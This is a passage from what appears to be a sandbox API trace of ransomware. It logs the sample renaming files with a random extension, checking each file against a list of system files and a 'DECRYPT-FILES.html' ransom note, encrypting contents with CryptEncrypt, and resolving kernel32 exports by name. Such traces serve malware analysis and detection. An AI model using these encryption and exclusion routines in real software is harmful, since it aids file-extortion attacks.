lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0115.107] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0115.107] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0115.107] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0115.107] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0115.107] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1028\\eula.rtf.yRWwq") returned 41 [0115.108] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.yRWwq" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.yrwwq"), dwFlags=0x0) returned 1 [0115.108] VirtualFree (lpAddress=0x38c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.109] VirtualFree (lpAddress=0x38d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.109] VirtualFree (lpAddress=0x31c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.109] FindNextFileW (in: hFindFile=0x6bbb70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0115.109] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="DECRYPT-FILES.html") returned 1 [0115.109] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="autorun.inf") returned 1 [0115.109] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="boot.ini") returned 1 [0115.109] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="desktop.ini") returned 1 [0115.109] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat") returned -1 [0115.110] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="iconcache.db") returned 1 [0115.110] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="bootsect.bak") returned 1 [0115.110] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat.log") returned -1 [0115.110] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="thumbs.db") returned -1 [0115.110] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="Bootfont.bin") returned 1 [0115.110] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\") returned 27 [0115.110] lstrlenW (lpString="LocalizedData.xml") returned 17 [0115.110] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1028\\" | out: lpString1="C:\\588bce7c90097ed212\\1028\\") returned="C:\\588bce7c90097ed212\\1028\\" [0115.110] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1028\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" [0115.110] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x31c0000 [0115.110] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490 [0115.111] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=60816) returned 1 [0115.111] CreateFileMappingW (hFile=0x490, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x46c [0115.111] MapViewOfFile (hFileMappingObject=0x46c, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x38c0000 [0115.365] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x31c0000 | out: pbBuffer=0x31c0000) returned 1 [0115.365] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x31c0020 | out: pbBuffer=0x31c0020) returned 1 [0115.365] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0115.366] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3b60000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x3b60000*, pdwDataLen=0x38be718*=0x100) returned 1 [0115.366] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x3b70000 [0115.462] VirtualFree (lpAddress=0x3b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.462] UnmapViewOfFile (lpBaseAddress=0x38c0000) returned 1 [0115.463] CloseHandle (hObject=0x46c) returned 1 [0115.463] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.463] WriteFile (in: hFile=0x490, lpBuffer=0x3b60000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x3b60000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0115.464] CloseHandle (hObject=0x0) returned 0 [0115.464] CloseHandle (hObject=0x490) returned 1 [0115.465] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.465] VirtualFree (lpAddress=0x31c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.465] GetTickCount () returned 0x3252d [0115.465] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x31c0000 [0115.466] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0115.466] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x38c0000 [0115.466] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0115.466] lstrlenA (lpString="kernel32.dll") returned 12 [0115.466] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0115.466] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0115.467] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0115.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0115.467] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0115.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0115.467] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0115.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0115.467] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0115.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0115.467] lstrlenA (lpString="ADDATOMA") returned 8 [0115.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0115.467] lstrlenA (lpString="ADDATOMW") returned 8 [0115.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0115.467] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0115.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0115.467] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0115.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0115.467] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0115.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0115.467] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0115.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0115.467] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0115.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0115.467] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0115.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0115.467] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0115.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0115.467] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0115.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0115.467] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0115.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0115.467] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0115.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0115.467] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0115.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0115.467] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0115.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0115.467] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0115.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0115.468] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0115.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0115.468] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0115.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0115.468] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0115.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0115.468] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0115.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0115.468] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0115.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0115.468] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0115.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0115.468] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0115.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0115.468] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0115.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0115.468] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0115.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0115.468] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0115.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0115.468] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0115.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0115.468] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0115.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0115.468] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0115.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0115.468] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0115.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0115.468] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0115.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0115.468] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0115.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0115.468] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0115.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0115.468] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0115.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0115.468] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0115.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0115.468] lstrlenA (lpString="BACKUPREAD") returned 10 [0115.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0115.469] lstrlenA (lpString="BACKUPSEEK") returned 10 [0115.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0115.469] lstrlenA (lpString="BACKUPWRITE") returned 11 [0115.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0115.469] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0115.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0115.469] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0115.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0115.469] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0115.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0115.469] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0115.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0115.469] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0115.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0115.469] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0115.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0115.469] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0115.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0115.469] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0115.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0115.469] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0115.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0115.469] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0115.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0115.469] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0115.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0115.469] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0115.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0115.469] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0115.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0115.469] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0115.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0115.469] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0115.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0115.469] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0115.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0115.469] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0115.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0115.470] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0115.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0115.470] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0115.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0115.470] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0115.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0115.470] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0115.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0115.470] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0115.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0115.470] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0115.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0115.470] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0115.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0115.470] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0115.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0115.470] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0115.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0115.470] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0115.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0115.470] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0115.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0115.470] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0115.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0115.470] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0115.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0115.470] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0115.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0115.470] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0115.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0115.470] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0115.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0115.470] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0115.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0115.470] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0115.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0115.471] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0115.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0115.471] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0115.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0115.471] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0115.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0115.471] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0115.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0115.471] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0115.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0115.471] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0115.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0115.471] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0115.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0115.471] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0115.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0115.471] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0115.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") 